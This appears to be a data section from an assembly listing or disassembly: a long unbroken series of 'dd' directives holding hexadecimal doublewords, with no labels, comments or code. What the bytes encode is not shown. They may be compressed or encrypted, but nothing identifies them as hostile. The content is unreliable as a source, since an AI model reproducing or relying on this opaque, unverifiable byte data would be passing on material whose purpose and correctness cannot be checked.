		dd 299AB402h, 0B0133510h, 0DD040004h, 0A8480BBDh, 15075816h
		dd 554295C3h, 8373EB40h, 0C463501Fh, 0D8FD003Ch, 98BD6ED6h
		dd 0DA00A879h, 824F85A4h, 0B2F154h, 290C56BFh, 279BEBFDh
		dd 1673910Ch, 2D0FFh, 780D8DCDh, 7C58FC0Fh, 0E009270h
		dd 607A9445h, 0A818C46Dh, 0A15DACh, 86439FDAh, 0A2BD5662h
		dd 246BDD00h, 57BF3B7Fh, 0ACF70067h, 0F599284Bh, 0E4E6CE50h
		dd 80DAEF00h, 175F7CA9h, 479C1CC5h, 0B34C48Eh, 0E32D01DDh
		dd 14DCD9D1h, 0B78F0082h, 4C434B5Fh, 0E005C2C9h, 696D2FE9h
		dd 8D2B9C02h, 938001D8h, 0C750242Dh, 0E3982600h, 940F27DCh
		dd 730B0111h, 5F77041Ch, 64482053h, 0CB34B501h,	7EAB9099h
		dd 0FA22F4h, 5E714E31h,	0EE91C723h, 47EF211Eh, 4D050B6Eh
		dd 9500B0CEh, 0C72968BCh, 873000DEh, 42557CC6h,	7450D4D2h
		dd 0F776E59Ch, 0BB018FF6h, 0B2F2E97Bh, 2900D324h, 0A328060Dh
		dd 74F2B752h, 2E02E67Bh, 0C366FAB5h, 6028403Ch,	59D3A3Eh
		dd 50E29C00h, 0C94D7B17h, 83F0BE00h, 6B61216Ch,	49CBE698h
		dd 790BD8E8h, 0F0200680h, 5FE9A9D5h, 70FD88A8h,	4D1B0B00h
		dd 0DD302483h, 71C200A1h, 7D8DDFFAh, 0E7503B27h, 62162B96h
		dd 0EBA7AEh, 89AD6AE2h,	9502BC99h, 0D18A3E70h, 7B40C91Fh
		dd 76B84Bh, 0F9589DCCh,	6E773996h, 89DF7E00h, 4BD5E238h
		dd 3EFE0005h, 0E5BEEC36h, 7B0E6C13h, 0E0890A9Eh, 0D6440960h
		dd 4B9A000Eh, 0E323C48Dh, 0D1003825h, 0D6D5EA7h, 7EF28370h
		dd 79F258h, 0CD496AC6h,	38F58BDBh, 0DF8DE600h, 978685FCh
		dd 5CB036h, 0EF4D76C4h,	673E7D5Fh, 0C303C100h, 0ADB49525h
		dd 0F3F48Bh, 50044228h,	0C481CCE6h, 6FF448h, 88AE7290h
		dd 70961DDh, 4EFD927Fh,	95D600EDh, 0C3134AE5h, 0E800CC36h
		dd 5C335B70h, 0E49C0057h, 11FC37B2h, 0DD0210FFh, 414C14ABh
		dd 0AEACE0C6h, 5B8905DEh, 0C234F93Bh, 0C482DBBh, 0D7286E6Dh
		dd 1900BCB8h, 0BE17D465h, 0F378A06Bh, 13BB450h,	0EA983010h
		dd 8E543E11h, 1C85E22h,	0DB2253BCh, 30168C7Fh, 0AB006408h
		dd 0A24B1280h, 3691381h, 254C92B7h, 5DA11AF0h, 55B3F42Dh
		dd 36BA7F00h, 6D34E430h, 0BDE00CFh, 0B9469296h,	621FF9DAh
		dd 0FCD345h, 0EF7FAFB7h, 0B82EFA18h, 3E2D0058h,	0DB9C924Dh
		dd 7200EDB2h, 0B59E2CD5h, 742F338h, 0CD900C69h,	0E0009F15h
		dd 65FA44Fh, 7F793FF4h,	7314F400h, 0ED9EA072h, 396F080h
		dd 15539CD6h, 8DE340h, 243BCC96h, 410082A6h, 58F904F8h
		dd 6CC253h, 53A1981h, 16ADBBD2h, 7FB0CD00h, 70DEE437h
		dd 781E2FDh, 4A8D35EEh,	9C0C00DAh, 0D97CC539h, 98B8A360h
		dd 78B8CEEBh, 348E00A8h, 27F7089Dh, 0AD06ACF9h,	0B4741463h
		dd 6ED13B88h, 17BB4F00h, 5E80F78Fh, 31D09F1Eh, 0A87F6580h
		dd 0C9A4CEh, 0D9B00E49h, 1D3D0F4Bh, 5002371h, 829C717Dh
		dd 1F58655Bh, 80FA436Dh, 92551EE4h, 0D31CC1DFh,	0B6034204h
		dd 3E9B6002h, 0BF000AA0h, 4932A4FAh, 3F011D89h,	0B8770C6Bh
		dd 0F8F41B21h, 0A77EB2h, 0DAD3B09Eh, 7C4E58CAh,	11D5D09h
		dd 5C805D82h, 83876C3Ah, 14CFDF01h, 0BAC225A9h,	0B8AB20E8h
		dd 4B9E1C47h, 0C238082h, 0BDBC8D37h, 753EA73Ch,	84EE2E03h
		dd 9F7A6905h, 0B23045B1h, 4B929840h, 0A4CF5122h, 10D6FE0h
		dd 2480859Eh, 0D4A32A10h, 0B8059629h, 0C575565Ah, 51D09DC7h
		dd 6F5EA56Eh, 0F039E2h,	56DDFEF9h, 8854A3h, 0E8DBFBBAh
		dd 66BE0E61h, 8967C00h,	0FE4CC3A7h, 79920052h, 0AE6E5044h
		dd 4900A378h, 0A9A73B23h, 3BE5BCBh, 8D5AB1Ch, 20078EB5h
		dd 0A785E6C0h, 2E90EF77h, 242A3ACAh, 1222CBh, 188D0636h
		dd 733C8A5Bh, 62FA0032h, 0AF4E0E4Ah, 0FF31EAAh,	0C214087h
		dd 0B0C4EDB1h, 0AC713Fh, 3763CC3Bh, 86479h, 0DFEC3A4Bh
		dd 6C7EA407h, 0CA1C20EDh, 9BB8FB00h, 3219B517h,	0D273DBh
		dd 870898BFh, 41F97E7Ch, 4F2B2A00h, 6343C3E1h, 0CA7A00B2h
		dd 0F212E3A8h, 93009B31h, 0DE032A59h, 3257F9Fh,	6F04F035h
		dd 46C832DBh, 8D0A7215h, 0AC986507h, 0F5389300h, 0F6332DEDh
		dd 4B90018Ch, 1875268Ah, 0BC0DD476h, 0F547E828h, 57C9AE00h
		dd 2C5FBB87h, 0B8390078h, 0C309456h, 0C506DE4Eh, 0E9A7ED4Ah
		dd 850412D0h, 8EC8001Dh, 0A2EE1306h, 0FECB8D00h, 0C8543526h
		dd 377700AAh, 3BDBC90Bh, 7400C67Fh, 0E51DC422h,	0C0BD8D87h
		dd 27F6FD4Ch, 8900B9FCh, 167E52EFh, 739C04DFh, 9AD6036Ch
		dd 586B8FB7h, 0A5C96AD0h, 2446DB00h, 4BC57C70h,	0E82000E3h
		dd 0E7D1E571h, 0B33A4A6Eh, 45FD00A6h, 11628ED4h, 0A8A0029Fh
		dd 566F329Bh, 86BDBA40h, 0A7B7CD00h, 0C3CFE731h, 39E100B3h
		dd 3343D258h, 17003265h, 37B708Eh, 6826269h, 1ADDD3A1h
		dd 0E7005094h, 0EB76C352h, 3D8B4355h, 170938BDh, 180067F2h
		dd 0A5BB3499h, 0B0DEA132h, 0B00F076Dh, 0A8C06F75h, 4BCDFF00h
		dd 0F3D50288h, 589F600Eh, 4F99D9BAh, 1F706300h,	8589E1D1h
		dd 8BB00091h, 0D5C509ECh, 0CB004C34h, 9D976C7Dh, 0E96576Eh
		dd 2BFC5CACh, 6A1FE0A0h, 370091D2h, 8B7502EBh, 179A8188h
		dd 6F06CBh, 28B2A823h, 0E200D454h, 28A46A9h, 50A12BAAh
		dd 0CC885Dh, 0CBDEC321h, 5FDA6C27h, 973B801h, 0FC537C51h
		dd 826AC4h, 128FE877h, 931091FBh, 0EF6C88C0h, 445BB7h
		dd 0C3E93817h, 0D984B6EEh, 0C0FE7706h, 0E8E1F6h, 25AFC242h
		dd 3B248715h, 3C1A77E8h, 4080DD95h, 3AC84CFAh, 6C071D97h
		dd 613E9EBBh, 20BC1395h, 3B094BF4h, 20C590BEh, 31941608h
		dd 0F3DA0028h, 37565DBCh, 97529B68h, 0E7A800BCh, 8A579463h
		dd 0A92E0017h, 8F44387Bh, 54006430h, 0D8AFF5DFh, 30FE2252h
		dd 0DAA8CA75h, 70F26C48h, 0F5E1505h, 4483333Ah,	21C2F81Ah
		dd 3F5507E8h, 0C0A9FF46h, 27EE10D2h, 0AD019A18h, 7B50BAh
		dd 0A888873Fh, 0A63B9B17h, 311C1B00h, 4140A747h, 739C00FCh
		dd 0A81870B7h, 0DB00EBDAh, 1A7F42D6h, 64E7D8h, 0A1721EEh
		dd 3FFC9E93h, 0C7D60C0h, 3ADDCFD4h, 1700F3C7h, 19A3FBA8h
		dd 8C02358Bh, 9FF80653h, 0EB1040ABh, 494006F4h,	40A52108h
		dd 3A1245F2h, 4403853Fh, 0D014B9E4h, 7815D0h, 1B879059h
		dd 0E83AD1A0h, 6542EE14h
		dd 58D80BCCh, 627B868Eh, 173E0010h, 0CA794DE2h,	55003C53h
		dd 0ACC172D9h, 6AAB11h,	0B5EAA7E1h, 0FF4EA80Bh,	0DD81A500h
		dd 97E2CFA6h, 0C8CC01F6h, 5F71772Dh, 3EE44024h,	4A000190h
		dd 0D33A6395h, 96E0EFh,	67D9F0A7h, 9C8175AAh, 0A1141509h
		dd 83788052h, 5BDE0Fh, 0FE888610h, 29CBBCE2h, 0ACF70A00h
		dd 85D1E6D6h, 0E260F687h, 1C3C009Fh, 0CF9035F3h, 24007822h
		dd 0EDB926E4h, 0A466EA9h, 0C7AA8177h, 8EE5008Ch, 2940B00Fh
		dd 1BC02491h, 0C09FC2F3h, 0E5D46F11h, 64404498h, 1D7A0035h
		dd 0BADB76E1h, 0F1259DEh, 205C0A63h, 621C700h, 3EF86BE7h
		dd 3606D08Eh, 6E72DE73h, 0B7D10200h, 42792881h,	0D4760261h
		dd 0D82C197h, 7BBEE840h, 95AC7A00h, 1255FB22h, 0A565005Dh
		dd 8C0C8E36h, 5A480B50h, 297E004Ch, 0C842B582h,	848B1210h
		dd 4E710044h, 556D79D2h, 53D99501h, 8F0C12Bh, 0E4F593C5h
		dd 8401420h, 0DD02A963h, 6481D00h, 4886D1A3h, 570B90ABh
		dd 2780A61Eh, 62816A0Fh, 0F54E5100h, 0DA1716CEh, 962C0098h
		dd 0DF4B9F1Bh, 7B004656h, 0A9A89A30h, 64415Bh, 0FDA229FAh
		dd 0D26FC359h, 82A6E038h, 0DB14BEE7h, 75F0401Eh, 0DCEC0035h
		dd 0AB34EEA2h, 47E2BF68h, 0D13AC00h, 504C437Ch,	9D7D0010h
		dd 0B9690F73h, 0C4488A9Eh, 0F9DE00DAh, 2329135h, 1E75F42Fh
		dd 43EE8354h, 2605DFA0h, 0A33CD0F7h, 0BB0090B0h, 319EF73Bh
		dd 193E4Ch, 45A5C5A9h, 6DF06CA4h, 8620FC0Fh, 48001387h
		dd 42CAB304h, 623B3E9Ch, 4091391Eh, 6C1355CBh, 0C700D68Eh
		dd 0F185D51Dh, 1CB2E7D0h, 40A3C8EEh, 3DE06F36h,	57B8079Eh
		dd 0FD87301Fh, 2CFC2E40h, 24ECE4F5h, 0CE4106h, 0AF70E5C6h
		dd 0A004B13h, 1B0CABA3h, 0EC8F27h, 0DC0F413Dh, 67028B7Eh
		dd 0E434A200h, 0DF639CD3h, 0E8850025h, 991BDA51h, 210B71D2h
		dd 80F659E2h, 60654F20h, 1A1628CAh, 0DC0E01B4h,	102FC21Dh
		dd 83A3E048h, 0C3063Ch,	9E4F8018h, 17922198h, 1E5EEE1Ah
		dd 9CD9C0C3h, 19A2027Eh, 6881E126h, 1A3AD500h, 4817AD8Eh
		dd 4B77ECD8h, 4B9FCACh,	2D5C604h, 0D9FDCD0h, 0CFAB0147h
		dd 758BEFFFh, 0F5902094h, 0E622DE15h, 379D8818h, 0B8738050h
		dd 7E60B7FFh, 26889208h, 0FDE131EFh, 0C47C2538h, 0B731BAA6h
		dd 0D7C6603Eh, 0F98D2443h, 410023F3h, 7FF8F47Dh, 0A4FFB005h
		dd 88476887h, 0E990D123h, 3BDF5F96h, 93A9583Bh,	412424h
		dd 0F71A2DCCh, 6800CB6Bh, 36DC305Eh, 29B825h, 448181Fh
		dd 42EF3449h, 3B2EF900h, 0A292F44Ah, 62C602B7h,	151D949Ah
		dd 2D7740DFh, 9952002Ah, 469E9F81h, 0B000FA89h,	50B6FC92h
		dd 28CC87F6h, 0ABC8816h, 44038F24h, 0C0269D88h,	807EB65Ch
		dd 0C133DFFFh, 0F00857h, 5CE707E9h, 0CA7F5F58h,	950086F2h
		dd 6BF2DFF6h, 7352CCCEh, 0FDE301E9h, 0BFFF0EAh,	980FF06Ch
		dd 35A460C0h, 6C2B0E8h,	13F0EB90h, 848B38D9h, 0C304E7Dh
		dd 40224071h, 8D2340E0h, 13FB3B0Dh, 0E8D829DFh,	0ACBB00D6h
		dd 0A41FB7CFh, 0C8E88807h, 0B0E2C9C0h, 7AC9FCD6h, 0CE2500F3h
		dd 491B29BCh, 330FB295h, 19E4DD9h, 725970DAh, 5B3E7080h
		dd 746C1766h, 11063B00h, 29E6F2C4h, 1790323h, 0CF4FB79Ch
		dd 0ECA67E81h, 35000639h, 21B2554Dh, 76BDC4D7h,	0F640383Ah
		dd 6861D500h, 497BA003h, 0EA858207h, 6AA0BC47h,	78189294h
		dd 48FA7Ch, 2BD744EFh, 0BD62C827h, 0A716B80Fh, 3D9160D3h
		dd 7EEE3Eh, 9C0F5C82h, 31E184B2h, 0D38A5A07h, 0EED09DEBh
		dd 51519h, 0BFA66BDCh, 23D44814h, 316A6900h, 0AE4A7AAAh
		dd 7BDD078Ch, 0B1F46B4Bh, 0A11849E2h, 785704C8h, 4006F10h
		dd 802B3C3Ah, 639CDDEh,	270938D0h, 0B6002816h, 7E564A74h
		dd 35AE24Fh, 0A6714DA3h, 9C83C54h, 460401C6h, 14BAB607h
		dd 445B9644h, 0D24855C7h, 94D8A647h, 0EC1128BAh, 290E112Ah
		dd 2110F911h, 2BA23BAEh, 222A1A22h, 52501269h, 5744C814h
		dd 72228416h, 11864219h, 62282FD6h, 14275050h, 0DB22846Ah
		dd 119E422Dh, 1E221D50h, 5772DD07h, 848B8A67h, 0C280D0A8h
		dd 0F636D9h, 1CBC58AEh,	693FE179h, 3C4E7200h, 0BFF02DD4h
		dd 1FD80051h, 997D970Eh, 12032BA2h, 247EE50Ah, 0F4AD05Ah
		dd 0A6CC078Ch, 0C013C4AAh, 0F1A53422h, 0FE0D0901h, 3CAF891Ch
		dd 0BD75CCh, 0E19179CEh, 0B57B8516h, 0F1E9700h,	0D46A703Bh
		dd 0A0EF2E0Ch, 8A8F3893h, 8960A171h, 83118D6Fh,	7EB00900h
		dd 48BF7896h, 3C6C00D3h, 0D16A8CE0h, 8300D224h,	225C4BBCh
		dd 532C8Ah, 99E309E1h, 7F2D6CC8h, 8FEC660Bh, 49A90041h
		dd 7CBACF1h, 918B3D39h,	5CFEA15Ah, 0CD7CD85Eh, 754DB4Ch
		dd 0E1551ED9h, 2C97A00Fh, 0F3493Ch, 8AD3F0FEh, 0D9D157BDh
		dd 0F63D4572h, 56280D2h, 27C4C650h, 0CCD43089h,	5F590928h
		dd 5BC56404h, 70900F46h, 0C6F8D9h, 3D6FE618h, 1EDA1A07h
		dd 6499D100h, 0CF8B34BBh, 1EA5FE3Fh, 404C2696h,	0C233883h
		dd 5D071DDBh, 0D1ACBA0Ah, 31E2EB90h, 0FBC21FFDh, 2962C024h
		dd 5577FF50h, 0F5358500h, 0EFFA4E2Eh, 90C60148h, 8C789919h
		dd 449BE3B5h, 917307B0h, 4AEC4F00h, 0CBE65839h,	93EB0011h
		dd 2F21321Dh, 1F0114FAh, 0EAA52D55h, 0BAE05796h, 0FE4B013Bh
		dd 9151EF66h, 0EB70D058h, 0D45BE503h, 98FC18F7h, 279E73h
		dd 0B1B4D855h, 0D3840BB8h, 0C4B7CE00h, 237F74FBh, 6444008Eh
		dd 0E760A7F3h, 3AB85B46h, 3FF77E1Ch, 0E542C4C0h, 200883h
		dd 48A27C6Ah, 0D7278AC7h, 920C5F00h, 0E663EDAFh, 34DE00C6h
		dd 47A4178Fh, 3CF69C0Eh, 0BF38B800h, 31AF26BDh,	0D1800990h
		dd 0A800C40Dh, 74133F67h, 0C84A0600h, 4CCB8153h, 0BB5600E5h
		dd 60F20139h, 1B00E489h, 6CFDA062h, 1DE7D861h, 0C080ED5Eh
		dd 5C3E1659h, 4D00E598h, 5A546BE2h, 1F399230h, 52D3EFBFh
		dd 0CC5C000Ah, 53A465ACh, 699C2600h, 45BDDDF7h,	36B5C24h
		dd 3E90FE01h, 348713E7h, 0A0C0E584h, 0CF6FE9A9h, 57210007h
		dd 539F946Dh, 8E0E7CF1h, 80AC4C5Bh, 0DBA358FDh,	0D8D700A0h
		dd 0FB356BDh, 533D54D0h, 0E0A6B284h, 0A98B4038h, 47B90131h
		dd 5A6C1CB6h, 0EBD0430Fh, 6BF621D8h, 4ADC7600h,	0C6209206h
		dd 0E6597A11h, 555B0048h, 491FE4ACh, 0BD3F7898h, 0C390D427h
		dd 0D030C100h, 38B9FA50h, 9CA403h, 0D7F034DCh, 683EB090h
		dd 0E7F87600h, 0C45D5179h, 22D83AC7h, 45BBB18Ch, 0BA00252Ah
		dd 0AB5C6407h, 7C946289h, 1BAA008Ah, 8E332B67h,	1501FF6Eh
		dd 0A7F29193h, 83E05DE5h, 318904Dh, 8C0630CFh, 10980C5Ah
		dd 68E2A4D9h, 0B320E000h, 345128EFh, 5C70098h, 369DB1BCh
		dd 3F7730CDh, 84B6BE00h, 0E07E347Bh, 0AE460497h, 9F8857h
		dd 0CD2EDBE5h, 0D8EA004Bh, 0BBB8E174h, 0D20F3EF3h, 0E08BFC43h
		dd 0CEF1264Fh, 90614CAAh, 942928h, 40B744Ah, 0E0F88B7Bh
		dd 1D48648h, 24520DC1h,	0D6314E02h, 3BC080E2h, 0F8B9B6h
		dd 0A1366254h, 0D0BE182h, 9057E926h, 0C8459401h, 1D21CDF6h
		dd 7D0CB140h, 0D03849E4h, 0FC835C00h, 0BB7EB111h, 0AA6B6304h
		dd 2C818BF3h, 8510C370h, 34E8EF68h, 0A1625D00h,	37E06684h
		dd 0B8B4008Ch, 0EA26F107h, 1200210Fh, 0B1C254DAh, 39A16Dh
		dd 0BA1FF2DFh, 15FD90D0h, 3FCED00h, 9846D16Ch, 79A8003Ch
		dd 5C11ACC2h, 57F0885Dh, 0AFE82E00h, 2365CD0Ch,	0DEA0076h
		dd 0A9376FBEh, 3AEA0F15h
		dd 0E491DF03h, 0B01249B2h, 1FFD16Dh, 921BD354h,	6F812E63h
		dd 60853E82h, 0F4D87A8h, 737FBB0Ch, 0EC926A2h, 992E1CE8h
		dd 881CC491h, 0D923100h, 1D053E39h, 40BF46C1h, 24279AC9h
		dd 0CC90B201h, 0E7F6E02h, 826A8FDBh, 2062D994h,	20AADEA3h
		dd 7203D898h, 0E037B1E8h, 6BC8900Ah, 87A52E71h,	0CCCE1840h
		dd 0E57DB492h, 892E4Ch,	8C80084Bh, 79906Fh, 0A07EF355h
		dd 73F402CAh, 0D6CE5E00h, 0F86B5F9Ah, 9E580070h, 6424AC20h
		dd 0BC580A3Dh, 0F0BB0384h, 0F99AA96Fh, 8D4F3F5h, 59FC0082h
		dd 0A138DD8Ah, 8F0C769Dh, 42A0925h, 0A07FA7h, 69F3C2D6h
		dd 0C662C7D4h, 0A9FC4605h, 6A81151Ch, 0E08E534Fh, 5180BFDBh
		dd 0D3ED0256h, 648DCB00h, 935F549Bh, 3B7230h, 2646EB14h
		dd 0FFE91EECh, 1EB4755Ch, 70C02757h, 6C9944AEh,	6D2A00B1h
		dd 0D5C485D3h, 0F070678Ah, 0CCBB3616h, 926FA405h, 1EAAB80h
		dd 0A93C175Dh, 12C9000Bh, 229C8841h, 2197CE00h,	169FCD47h
		dd 6A601F28h, 4F9005Fh,	44E5EF09h, 0D17481F2h, 0D0C96D05h
		dd 0C0AA8B0Bh, 63A28DCDh, 0DEC531Eh, 6D9CAF00h,	0E936208h
		dd 0D0D882EBh, 84ACC1E0h, 5F0180E3h, 0A8B5D54Eh, 93FC1751h
		dd 53CD007Dh, 85BC3B33h, 440002CEh, 99410DC5h, 485CDE6Fh
		dd 73002974h, 82DD77ECh, 0E404CED2h, 0E1A3B7F4h, 7613CCC0h
		dd 8D71480h, 0DE00A0A5h, 0D91531CEh, 0EA0F19F0h, 0C05ABBD1h
		dd 28D4D55Bh, 33490021h, 4891B345h, 4A17E606h, 0A800899Eh
		dd 0F00B8AF5h, 10D7CEBh, 944837C7h, 3071E16Ah, 4F007410h
		dd 90998DE2h, 610891h, 0ADC03772h, 0AD6D233h, 3F50BB00h
		dd 97BFBC9Fh, 0A7D80064h, 63761270h, 0D300291Dh, 5DA59B39h
		dd 3E8CC31Ch, 2224BC37h, 0D6D10174h, 60332364h,	41C15DDh
		dd 6C479D07h, 0B170E292h, 8C4D08h, 6AD1E543h, 0F456A009h
		dd 0D4BE9B00h, 0B932DA73h, 0F7AE0E95h, 7AC60D07h, 2E00D823h
		dd 27CC9025h, 79CAE7h, 398AF6D8h, 73186769h, 0B8427500h
		dd 114D9771h, 0C23106A1h, 5CC67441h, 2237DF01h,	1D79ED2Ah
		dd 824520h, 533B7660h, 2752D22Ch, 981EBA24h, 8033470Bh
		dd 74B9D03h, 0F7E30103h, 0A5DAD1C6h, 622D8B9h, 0A2338E09h
		dd 30500C1Eh, 5AE30A2Eh, 1E46682h, 0EEBD8B9h, 185CCCF8h
		dd 6C6248h, 0B18815E5h,	90655FCEh, 0E3020038h, 0C80FCB42h
		dd 0E90CD1B2h, 0F04346DDh, 0C37A3D72h, 3C7A080h, 0A7CE36D9h
		dd 0B051EC00h, 6CEFDF98h, 117FC64h, 8C493CD5h, 818F408Bh
		dd 33A8BD58h, 9A20626Ah, 7D5B1F10h, 2D2740D8h, 0DFB1F955h
		dd 0C60D9D18h, 32658931h, 0CA783EFFh, 1D22BD81h, 30B3FC3Ah
		dd 0C7A4402h, 8014FD1Ch, 41E1F690h, 3A8C043Eh, 0C0D0B1C5h
		dd 25C8358h, 842E6892h,	0D907FC6Fh, 99E7DC92h, 62EA3E20h
		dd 9C7424EBh, 41281CD8h, 24B8D0D4h, 2390400Bh, 0A55832B2h
		dd 0F7007D98h, 70B046E2h, 586F62h, 3E7AFE41h, 9A0FD5B4h
		dd 3DE75E00h, 1F911A37h, 56732F55h, 280785F0h, 0C80A9DA2h
		dd 8090A812h, 0E567F7CAh, 7C72FFh, 0DB4777F2h, 858A601Dh
		dd 0D6A98100h, 7904EBA6h, 0BFF001ACh, 1674B825h, 0D049F4C1h
		dd 933D8AE6h, 2D9F009Ch, 58F8E824h, 0E62F45Dh, 0C6258035h
		dd 0B380FA49h, 0EA9869D8h, 0F2B69700h, 1F7662B0h, 7DE0B86h
		dd 0E000459Ah, 1CDC0378h, 17605F16h, 0E3CF991Fh, 46308251h
		dd 0F448C872h, 63AFA61h, 0A9F06B71h, 3900186Ah,	7E235BB4h
		dd 14388222h, 0B87D249Fh, 3C34B900h, 4CAB3A6Ah,	1100B390h
		dd 9230B7E6h, 391F358Bh, 0AD80775Fh, 0E468195Dh, 0EE1D882Dh
		dd 2664940Dh, 56E9B07h,	2180CF05h, 9CD24Dh, 3968427h, 1293C2E2h
		dd 4A77EB00h, 9E1C18F4h, 7DC30013h, 0E945AED6h,	7B757290h
		dd 84381B01h, 0C678E574h, 0A7F71F0h, 2F7CC28Ch,	0DE3B80D4h
		dd 22B5B146h, 0AC0333FAh, 0B3FB042Ah, 9B10B8FFh, 0CBB4007Eh
		dd 3ECCC6A6h, 5500DF09h, 7B7FB01h, 1D8E1066h, 528BB9A4h
		dd 1C852CBh, 0F0478A3Fh, 5BD440A0h, 0E6001929h,	2285AED2h
		dd 2658B7B4h, 14C2AAh, 73174F0Bh, 0A81E0393h, 7DD2DC8Fh
		dd 55448800h, 5895F4A2h, 403B06Fh, 0F67FEEA7h, 0D69B2100h
		dd 9856A399h, 0F463002Ch, 0BA4AF265h, 9E019021h, 2ED348EFh
		dd 682C1AF3h, 279DD60Fh, 53D4E00h, 4158E03Bh, 204889h
		dd 7B3A6474h, 75B71B6Ch, 95280082h, 2BD7D51Eh, 0E01FF09h
		dd 74CFA543h, 0B4302F71h, 3D9B2C45h, 87B3008Dh,	12CAF8F1h
		dd 4DC06209h, 27480E36h, 0B080D141h, 9074566Dh,	0DAC8A0CFh
		dd 66E70E93h, 98C015FFh, 7C49FD73h, 0A2726h, 44679205h
		dd 48F184CCh, 0C400D823h, 9615F82Dh, 0E1037512h, 0F0EE9019h
		dd 9164D879h, 996D0016h, 0D7D85A48h, 0E51EA913h, 0DD00CA19h
		dd 0F6A65E6Ah, 2D0E04A7h, 804A6B1Fh, 4E2FC770h,	0D4527260h
		dd 3F19907Bh, 0C82ED04Ch, 0DC4A8014h, 949D1FC3h, 2D5D790Eh
		dd 7107E065h, 1C4C9EF7h, 4068EBF3h, 98168E8Fh, 20988A41h
		dd 3341D00h, 0C2D51CFEh, 8EEE007Fh, 20E2A5B5h, 25009C8Ch
		dd 7E0FE150h, 413929Dh,	0AE2131C2h, 6000C77Fh, 0F55A4AB5h
		dd 0BFFD0A0h, 4742B900h, 203079ABh, 0A4750008h,	0DA9DB02Eh
		dd 0AE00C85Fh, 23428A5Eh, 60C5EB18h, 4CA6E01Ch,	0A048CDF0h
		dd 0ED4E00DCh, 98275632h, 28C30478h, 909EDB22h,	3D8BA654h
		dd 37386A09h, 805000F8h, 3C3F93FBh, 0F8FEDAEBh,	2383001Fh
		dd 5BE8AFADh, 0C028E97h, 0F053B6C0h, 3919C04Bh,	193539D2h
		dd 6D3326h, 0BD0C4E4Ah,	3A00C342h, 0A61DA707h, 1F0B6A4h
		dd 8290BE25h, 20BB474Eh, 3900F1A9h, 450B5034h, 5385D2h
		dd 0DE29588Fh, 0EF9F60A8h, 8352C828h, 6316B3Eh,	5470041Ch
		dd 1B5D00D0h, 1AC5F560h, 5C0090DDh, 6EA181BAh, 0E64E554h
		dd 656BDB7Dh, 50768EE7h, 0FAEB4DDh, 2453D81Eh, 0A3A869C0h
		dd 3D554DA1h, 0EC002CCBh, 0E179231h, 41006E76h,	0FC08D16Ah
		dd 0EA684D1Eh, 70CFE78h, 46067B7Ah, 22CE011Ch, 75BC4005h
		dd 9F606D4Bh, 0BBA5C9F9h, 0FF4900DFh, 56D039DDh, 79008F55h
		dd 663D20D7h, 94EBC5h, 616A67A8h, 0E54EB6F7h, 2E9C00BFh
		dd 48B70DC1h, 0E200900Ch, 117FD4F9h, 2204E780h,	9F2E2BE9h
		dd 66C0A4h, 0F11AB6A8h,	83E76BE1h, 12999158h, 0CC12EEDh
		dd 0A7E82DC8h, 0C0CF00F3h, 0A1EF764Eh, 20C07D43h, 0D8170FF7h
		dd 404D002Fh, 1B851A31h, 514183A1h, 0F192E3F2h,	0FC28469Ah
		dd 1DD0A804h, 2B2FC0C8h, 70E0E40Fh, 574A8B00h, 2211F4D9h
		dd 0BB97009Bh, 21C09ABh, 0E8015529h, 86F22684h,	0C064F6C6h
		dd 9C444C0Ch, 71601DCFh, 4FC7CAD7h, 1B109816h, 78D12418h
		dd 0BD7540F5h, 66240972h, 520004B1h, 8111131Ch,	75EE0047h
		dd 4548044h, 24002092h,	0C6431F3Fh, 0C57FCB1Ch,	0FFDBCD0h
		dd 8E0256D5h, 0E08207B1h, 985897C2h, 880D4124h,	882B1280h
		dd 3D5696AFh, 98015816h, 4340D62Fh, 0EC0C7183h,	0C2207757h
		dd 0EB14041Ch, 53D734h,	284E6493h, 9D4FE0Eh, 43F28474h
		dd 0FB992081h, 0FC06D488h, 807F0300h, 85915604h, 42FA008Dh
		dd 387D3F1Fh, 410093F4h, 0C512F854h, 0B0DC4DDAh, 886F1238h
		dd 0CBF0C8A8h, 0F9A3CF00h, 3DD6C240h, 90D00F9Dh, 0BE608A63h
		dd 238B4370h, 57004DFEh, 0F9E9657Dh, 16277Ah, 0F4343059h
		dd 0E78CFB6Fh, 3C57C01h, 0BA1999C4h, 0FEE5C0h, 520A852Fh
		dd 1DCF391Bh
		dd 30CD5F00h, 0B01FC102h, 859D03F6h, 61526463h,	0EB1E88F0h
		dd 6272AF0Eh, 0B6D5E006h, 3D1482h, 9CA18940h, 0A8688135h
		dd 0BFCA0407h, 8330574Fh, 30B77EEh, 8D40D94Ch, 28B0BEA6h
		dd 0C269E6EDh, 0D0FD804Eh, 12EF66Fh, 0D2329987h, 0C5F55D82h
		dd 51B0E4C7h, 5ECDFD00h, 0E393A6Bh, 0E57500C1h,	10D1330Ch
		dd 6900BD56h, 0F315DA96h, 0E47B1Eh, 652A8577h, 4D7E1DA1h
		dd 0AD00BE90h, 6255ECDAh, 48D26D48h, 0BE00D5E0h, 4D35738Ch
		dd 4B0070D1h, 0D02DFE5Fh, 1936639Ch, 0C93B1692h, 0D2E8D79Ah
		dd 0AF44BE3Ch, 777012h,	74C60D5Dh, 2F42A7A9h, 0FAC1BA00h
		dd 6CD5D9A4h, 7311065Fh, 6057E0B7h, 6D9AFC1Fh, 6E5EB900h
		dd 7D3892Ch, 1AE0CFCAh,	2E24405Ch, 0A008FFDh, 0A5546D61h
		dd 0E4C59333h, 52940FF0h, 0A1EFFC7Ah, 5EA0992Fh, 3CED5A10h
		dd 63255C00h, 0E139B68Eh, 589A00C0h, 5E7085CFh,	5C006FFBh
		dd 0DB2BB208h, 28BEDCh,	9CE7CD88h, 25572A69h, 1B617A0Fh
		dd 0C9230409h, 0B9AB0490h, 0C6200035h, 8AE6DF15h, 4E0067E9h
		dd 0F10A64BCh, 57974Bh,	0C510E35Eh, 46761B6Bh, 0DC8EE900h
		dd 91089094h, 0D662004Dh, 0E3DE7715h, 6D005CAEh, 0F12370C6h
		dd 74DF1DBAh, 0A57B8Ch,	0D5F9F3E8h, 0AD6585D6h,	0B5B4C200h
		dd 1ECFADAh, 9117938h, 569A797Eh, 7D6A807Dh, 4830DFEAh
		dd 9B1731D6h, 4B57007Fh, 0E07414D5h, 0E1E43209h, 0A1600160h
		dd 0CB209B99h, 886600AFh, 0D07524C8h, 8D1219E3h, 2C00357Ah
		dd 0BA515FCCh, 0F098009Eh, 2A471E2Bh, 312B750h,	1A00345Ch
		dd 11FDDCAAh, 5E910E38h, 0ADE08F7Bh, 84965B8h, 6C56F0Fh
